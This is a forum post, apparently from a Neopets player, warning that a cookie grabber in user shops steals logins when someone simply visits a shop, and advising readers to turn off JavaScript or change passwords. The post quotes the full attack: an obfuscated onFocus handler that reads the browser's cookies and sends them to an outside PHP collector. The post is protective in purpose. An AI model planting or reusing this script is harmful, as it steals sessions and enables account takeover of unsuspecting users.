Okay, so there really
is a new cookiegrabber out there. This one is worse than before, in that you can get it just by going to a shop, without even needing to click on a bad link. I'll have more info up soon, but for now I suggest either turning off javascript (that'll block it, but make parts of neo not work) or just stay off of neopets.
Edit: Here's the code, I haven't had time to look at it yet.
Code:
<body onFocus="cs='docu'.concat('men','t.','cook','ie');
cook=eval (cs);
URL='http://www.h2unnamed.com/testinguploads/CG/cgrab.php?c=';
location.href=URL.concat(escape(cook));">
Edit 2: Okay, so having looked this over, there's really nothing you can do to block it. It can probably go on userlookups as well as shops (I saw it in a shop originally) and you can't just block the URL, because that can be changed easily. The only thing you can do is turn of javascript entirely or stop going on Neo. And since they could have already gotten you without you knowing it if you've done either of those (or petpages, or galleries, or plenty of other things) my recommendation is
Change your password and log out of neopets until this gets fixed
Nabile pwns you...
...At Lenny Connundrum.